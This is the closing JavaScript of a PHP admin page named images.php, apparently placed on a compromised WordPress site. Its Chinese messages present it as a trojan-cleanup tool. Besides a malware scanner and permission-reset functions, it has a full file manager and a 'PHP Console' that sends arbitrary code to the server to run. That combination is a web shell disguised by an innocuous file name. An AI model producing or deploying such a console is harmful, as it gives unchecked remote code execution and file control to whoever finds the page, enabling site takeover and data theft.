           (allSealed?'\u2705 断链完成! WP 已完全停机,木马无法触发。\n\n\u2022 访问网站会显示 404 / 白屏 (正常现象)\n\u2022 本工具 images.php 继续可用\n\u2022 wp-config.php 未动,数据库配置安全\n\u2022 备份:.htaccess.locked / .user.ini.locked\n\n\u4e0b\u4e00\u6b65\u5efa\u8bae:\n\u2460 \u7acb\u523b\u6539 FTP/\u9762\u677f/\u6570\u636e\u5e93 \u5bc6\u7801\n\u2461 SSH \u767b\u5f55\u670d\u52a1\u5668\u540e\u53f0\u5904\u7406\u6728\u9a6c\n\u2462 \u786e\u8ba4\u5e72\u51c0\u540e,\u624b\u52a8\u6539\u56de\u540d\u5b57\u6062\u590d\u7f51\u7ad9':
            '\u26a0 \u90e8\u5206\u76ee\u6807\u672a\u80fd\u65ad\u94fe\u3002\n\u53ef\u80fd\u539f\u56e0:\n\u2022 \u6587\u4ef6\u5c5e\u4e3b\u4e0d\u662f\u5f53\u524d PHP \u7528\u6237(\u9700 SSH \u4ee5\u771f\u5b9e\u5c5e\u4e3b\u6216 root \u6743\u9650\u6267\u884c)\n\u2022 \u6839\u76ee\u5f55\u672c\u8eab\u6743\u9650\u4ecd\u4e3a 555,\u672a\u80fd\u5199\u5165\u3002\n\u5df2\u65ad\u94fe\u7684\u90e8\u5206\u5df2\u751f\u6548,\u53ef\u4ee5\u5148\u770b\u770b\u7f51\u7ad9\u884c\u4e3a\u662f\u5426\u6b63\u5e38')+'</div></div>';
      }
      if(res.note){
        h+='<div style="margin-top:8px;padding:6px 10px;border-radius:4px;background:#eff6ff;color:#1e40af;font-size:12px">\u2139 '+escH(res.note)+'</div>';
      }
      box.innerHTML=h;
    }).catch(function(e){box.innerHTML='<div style="color:#dc2626">请求出错: '+e+'</div>';});
  });
}
/* ===== Utility dialogs ===== */
function showFlash(m,ok){var e=document.getElementById('flash');e.innerText=m;e.style.display='block';e.style.background=ok?'#dcfce7':'#fee2e2';e.style.color=ok?'#166534':'#991b1b';e.style.borderLeft=ok?'4px solid #22c55e':'4px solid #ef4444';setTimeout(function(){e.style.display='none';},5000);}
function aqAlert(msg){return new Promise(function(resolve){var o=document.createElement('div');o.className='aq-overlay';o.innerHTML='<div class="aq-dialog"><div class="aq-msg">'+msg+'</div><div class="aq-btns"><button class="btn primary" id="__aq_ao">OK</button></div></div>';document.body.appendChild(o);document.getElementById('__aq_ao').onclick=function(){o.remove();resolve();};});}
function aqConfirm(msg){return new Promise(function(resolve){var o=document.createElement('div');o.className='aq-overlay';o.innerHTML='<div class="aq-dialog"><div class="aq-msg">'+msg+'</div><div class="aq-btns"><button class="btn" id="__aq_cc" style="margin-right:8px">Cancel</button><button class="btn danger" id="__aq_co">OK</button></div></div>';document.body.appendChild(o);document.getElementById('__aq_co').onclick=function(){o.remove();resolve(true);};document.getElementById('__aq_cc').onclick=function(){o.remove();resolve(false);};});}
function aqPrompt(msg,val){return new Promise(function(resolve){var o=document.createElement('div');o.className='aq-overlay';o.innerHTML='<div class="aq-dialog"><div class="aq-msg">'+msg+'</div><input id="__aq_pi" value="'+(val||'')+'"><div class="aq-btns"><button class="btn" id="__aq_pc" style="margin-right:8px">Cancel</button><button class="btn primary" id="__aq_po">OK</button></div></div>';document.body.appendChild(o);var inp=document.getElementById('__aq_pi');inp.focus();inp.select();function done(v){o.remove();resolve(v);}document.getElementById('__aq_po').onclick=function(){done(inp.value);};document.getElementById('__aq_pc').onclick=function(){done(null);};inp.onkeydown=function(e){if(e.key==='Enter')done(inp.value);if(e.key==='Escape')done(null);};});}

/* ===== Editor ===== */
var currentFullPath='';
function openEditor(p){var f=decodeURIComponent(p);currentFullPath=f;document.getElementById('editorTitle').innerText='Edit: '+f.split('/').pop();document.getElementById('editorPath').innerText=f;document.getElementById('editorContent').value='Loading...';document.getElementById('editorModal').style.display='flex';fetch('?api=1&action=getfile&fullpath='+encodeURIComponent(f)).then(function(r){if(!r.ok)throw new Error('fail');return r.text();}).then(function(t){document.getElementById('editorContent').value=t;}).catch(function(){document.getElementById('editorContent').value='';aqAlert('Read file failed');});}
function closeEditor(){document.getElementById('editorModal').style.display='none';currentFullPath='';document.getElementById('editorContent').value='';}
document.getElementById('saveBtn').addEventListener('click',function(){if(!currentFullPath)return;var f=new FormData();f.append('api','1');f.append('action','savefile');f.append('fullpath',currentFullPath);f.append('content',document.getElementById('editorContent').value);fetch('',{method:'POST',body:f}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Saved successfully',true);setTimeout(function(){location.reload();},700);}else aqAlert('Save failed: '+(d.error||'Error'));}).catch(function(){aqAlert('Network error');});});

/* ===== Upload ===== */
var dropArea=document.getElementById('dropArea'),fileInput=document.getElementById('fileInput'),progressList=document.getElementById('progressList');
function openUpload(){document.getElementById('uploadModal').style.display='flex';}function closeUpload(){document.getElementById('uploadModal').style.display='none';progressList.innerHTML='';}
dropArea.addEventListener('click',function(){fileInput.click();});fileInput.addEventListener('change',function(){handleFiles(fileInput.files);});
var evts=['dragenter','dragover','dragleave','drop'];for(var i=0;i<evts.length;i++){(function(e){dropArea.addEventListener(e,function(ev){ev.preventDefault();ev.stopPropagation();},false);})(evts[i]);}
dropArea.addEventListener('drop',function(e){handleFiles(e.dataTransfer.files);});
function handleFiles(fs){for(var i=0;i<fs.length;i++)uploadFile(fs[i]);}
function uploadFile(f){var r=document.createElement('div');r.className='progress-item';var n=document.createElement('div');n.style.width='220px';n.innerText=f.name;var b=document.createElement('div');b.className='progress-bar';var l=document.createElement('div');l.className='progress-fill';b.appendChild(l);var t=document.createElement('div');t.className='progress-text';t.innerText='0%';r.appendChild(n);r.appendChild(b);r.appendChild(t);progressList.appendChild(r);var x=new XMLHttpRequest(),d=new FormData();d.append('file[]',f);d.append('api','1');d.append('action','upload');d.append('target','<?php echo esc($target);?>');x.open('POST','?',true);x.upload.addEventListener('progress',function(e){if(e.lengthComputable){var p=Math.round(e.loaded/e.total*100);l.style.width=p+'%';t.innerText=p+'%';}});x.onreadystatechange=function(){if(x.readyState===4){if(x.status===200){t.innerText='Done';showFlash('Upload complete',true);setTimeout(function(){location.reload();},800);}else{t.innerText='Failed';}}};x.send(d);}

/* ===== File ops ===== */
function doDelete(e){var f=decodeURIComponent(e);aqConfirm('Permanently delete:\n'+f+' ?').then(function(ok){if(!ok)return;var d=new FormData();d.append('api','1');d.append('action','delete');d.append('fullpath',f);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Deleted',true);setTimeout(function(){location.reload();},700);}else aqAlert('Delete failed');});});}
function doRename(e){var f=decodeURIComponent(e);aqPrompt('New name',f.split('/').pop()).then(function(n){if(!n)return;var d=new FormData();d.append('api','1');d.append('action','rename');d.append('fullpath',f);d.append('newname',n);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Renamed',true);setTimeout(function(){location.reload();},700);}else aqAlert('Rename failed');});});}
function doChmod(e){var f=decodeURIComponent(e);aqPrompt('Octal perms','0644').then(function(m){if(!m)return;var d=new FormData();d.append('api','1');d.append('action','chmod');d.append('fullpath',f);d.append('mode',m);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Chmod updated',true);setTimeout(function(){location.reload();},700);}else aqAlert('Chmod failed');});});}
function doMkdir(){aqPrompt('Folder name','').then(function(n){if(!n)return;var d=new FormData();d.append('api','1');d.append('action','mkdir');d.append('dirpath','<?php echo esc($target);?>');d.append('name',n);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Created',true);setTimeout(function(){location.reload();},700);}else aqAlert('Create failed');});});}
function doGenFile(t){var d=new FormData();d.append('api','1');d.append('action',t==='htaccess'?'gen_htaccess':'gen_robots');d.append('dirpath','<?php echo esc($target);?>');fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Generated!',true);setTimeout(function(){location.reload();},700);}else aqAlert('Generation failed');});}

/* ===== PHP Console ===== */
function openConsole(){document.getElementById('consoleModal').style.display='flex';document.getElementById('consoleCode').focus();}
function closeConsole(){document.getElementById('consoleModal').style.display='none';}
function clearConsole(){document.getElementById('consoleOutput').innerText='Output will appear here...';document.getElementById('consoleMeta').innerText='';document.getElementById('consoleCode').value='';document.getElementById('consoleCode').focus();}
function runConsole(){
  var code=document.getElementById('consoleCode').value;
  if(!code.replace(/\s/g,'')){aqAlert('Please enter PHP code.');return;}
  var btn=document.getElementById('runBtn');
  btn.disabled=true;btn.innerText='⏳ Running...';
  var out=document.getElementById('consoleOutput');
  out.innerText='Executing...';
  var fd=new FormData();fd.append('api','1');fd.append('action','phpconsole');fd.append('code',code);
  fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
    var result='';
    if(d.warnings)result+=d.warnings+'\n\n';
    if(d.error)result+=d.error+'\n\n';
    if(d.output)result+=d.output;
    if(d['return'])result+=(result?'\n\n':'')+'Return: '+d['return'];
    if(!result)result='(no output)';
    out.innerText=result;
    document.getElementById('consoleMeta').innerText=d.time+' | PHP '+d.php_version;
    btn.disabled=false;btn.innerText='▶ Run';
  }).catch(function(e){out.innerText='Network error: '+e.message;btn.disabled=false;btn.innerText='▶ Run';});
}
document.getElementById('consoleCode').addEventListener('keydown',function(e){
  if(e.key==='Tab'){e.preventDefault();var s=this.selectionStart,en=this.selectionEnd;this.value=this.value.substring(0,s)+'    '+this.value.substring(en);this.selectionStart=this.selectionEnd=s+4;}
  if((e.ctrlKey||e.metaKey)&&e.key==='Enter'){e.preventDefault();runConsole();}
});

/* ===== Create File (simple) ===== */
function openCreateFile(){document.getElementById('createModal').style.display='flex';document.getElementById('createFileName').value='';document.getElementById('createContent').value='';document.getElementById('createFileName').focus();}
function closeCreateFile(){document.getElementById('createModal').style.display='none';}
function submitCreateFile(){
  var name=document.getElementById('createFileName').value.replace(/^\s+|\s+$/g,'');
  if(!name){aqAlert('Please enter a file name with extension.');return;}
  var content=document.getElementById('createContent').value;
  var fd=new FormData();fd.append('api','1');fd.append('action','createfile');fd.append('dirpath','<?php echo esc($target);?>');fd.append('filename',name);fd.append('content',content);
  fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
    if(d.ok){showFlash('File "'+name+'" created!',true);closeCreateFile();setTimeout(function(){location.reload();},700);}
    else aqAlert('Failed: '+(d.error||'Unknown error'));
  }).catch(function(){aqAlert('Network error');});
}
document.getElementById('createFileName').addEventListener('keydown',function(e){if(e.key==='Enter'){e.preventDefault();submitCreateFile();}});

/* ===== Security Scanner ===== */
function openScanner(){document.getElementById('scanModal').style.display='flex';}
function closeScan(){document.getElementById('scanModal').style.display='none';}

function runScan(){
  var btn=document.getElementById('scanBtn');
  btn.disabled=true;btn.innerText='⏳ Scanning...';
  var res=document.getElementById('scanResults');
  res.innerHTML='<div style="text-align:center;padding:30px;color:var(--muted)">Scanning files, please wait...<br>This may take a moment for large sites.</div>';
  document.getElementById('scanSummary').innerText='';
  var fd=new FormData();fd.append('api','1');fd.append('action','security_scan');fd.append('scandir',document.getElementById('scanPath').value);
  fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
    btn.disabled=false;btn.innerText='🔍 Start Scan';
    if(!d.ok){res.innerHTML='<div style="color:#dc2626;padding:20px">Scan failed</div>';return;}
    if(d.count===0){
      res.innerHTML='<div class="scan-safe">✅ No suspicious files found!<br><span style="font-size:13px;color:var(--muted)">Scanned: '+escH(d.scan_root)+'</span></div>';
      document.getElementById('scanSummary').innerText='0 threats found';
      return;
    }
    var html='';
    var high=0,med=0;
    for(var i=0;i<d.findings.length;i++){
      var f=d.findings[i];
      var cls=f.risk==='high'?'scan-item':'scan-item medium';
      if(f.risk==='high')high++;else med++;
      var acts='';
      if(f.type==='config_inject'){
        acts='<button class="btn danger" onclick="fixItem(\'clean_config\',\''+escAttr(f.path)+'\')">🧹Clean</button>';
      }else if(f.type==='locked_perm'||f.type==='locked_dir'){
        var tgt=f.type==='locked_dir'?'chmod755':'chmod644';
        acts='<button class="btn primary" onclick="fixItem(\''+tgt+'\',\''+escAttr(f.path)+'\')">🔓Unlock</button>';
      }else{
        acts='<button class="btn danger" onclick="fixItem(\'delete\',\''+escAttr(f.path)+'\')">🗑Delete</button>';
        acts+=' <button class="btn" onclick="openEditor(\''+encodeURIComponent(f.path)+'\')">👁View</button>';
      }
      html+='<div class="'+cls+'"><div><div class="si-path">'+escH(f.path)+'</div><div class="si-reason">'+escH(f.type)+': '+escH(f.reason)+'</div></div><div class="si-actions">'+acts+'</div></div>';
    }
    res.innerHTML=html;
    document.getElementById('scanSummary').innerText='Found: '+high+' high risk, '+med+' medium risk | Scanned: '+d.scan_root;
  }).catch(function(e){btn.disabled=false;btn.innerText='🔍 Start Scan';res.innerHTML='<div style="color:#dc2626;padding:20px">Network error</div>';});
}

function fixItem(act,path){
  var label=act==='delete'?'DELETE this file permanently':'Apply fix';
  aqConfirm(label+'?\n'+path).then(function(ok){
    if(!ok)return;
    var fd=new FormData();fd.append('api','1');fd.append('action','security_fix');
    fd.append('fixes',JSON.stringify([{path:path,act:act}]));
    fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
      if(d.ok&&d.results&&d.results[0]){
        var r=d.results[0];
        if(r.ok){showFlash(r.msg,true);setTimeout(function(){runScan();},500);}
        else aqAlert('Failed: '+r.msg);
      }else aqAlert('Fix failed');
    }).catch(function(){aqAlert('Network error');});
  });
}

function resetDocroot(){
  aqConfirm('Reset DocRoot permissions?\n\nThis will set:\n• All directories → 755\n• All files → 644\n\nIn: <?php echo esc($docRoot?$docRoot:$target);?>').then(function(ok){
    if(!ok)return;
    var fd=new FormData();fd.append('api','1');fd.append('action','reset_docroot_perms');
    fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
      if(d.ok){
        var ok=0,fail=0;
        for(var i=0;i<d.log.length;i++){if(d.log[i].ok)ok++;else fail++;}
        showFlash('DocRoot reset: '+ok+' succeeded, '+fail+' failed',fail===0);
        if(fail>0){
          var failList='';
          for(var j=0;j<d.log.length;j++){if(!d.log[j].ok)failList+=d.log[j].path+'\n';}
          aqAlert('These files could not be changed (may need root/SSH):\n\n'+failList);
        }
      }else aqAlert('Reset failed');
    }).catch(function(){aqAlert('Network error');});
  });
}

function escH(s){var d=document.createElement('div');d.appendChild(document.createTextNode(s));return d.innerHTML;}
function escAttr(s){return s.replace(/\\/g,'\\\\').replace(/'/g,"\\'");}
</script></body></html>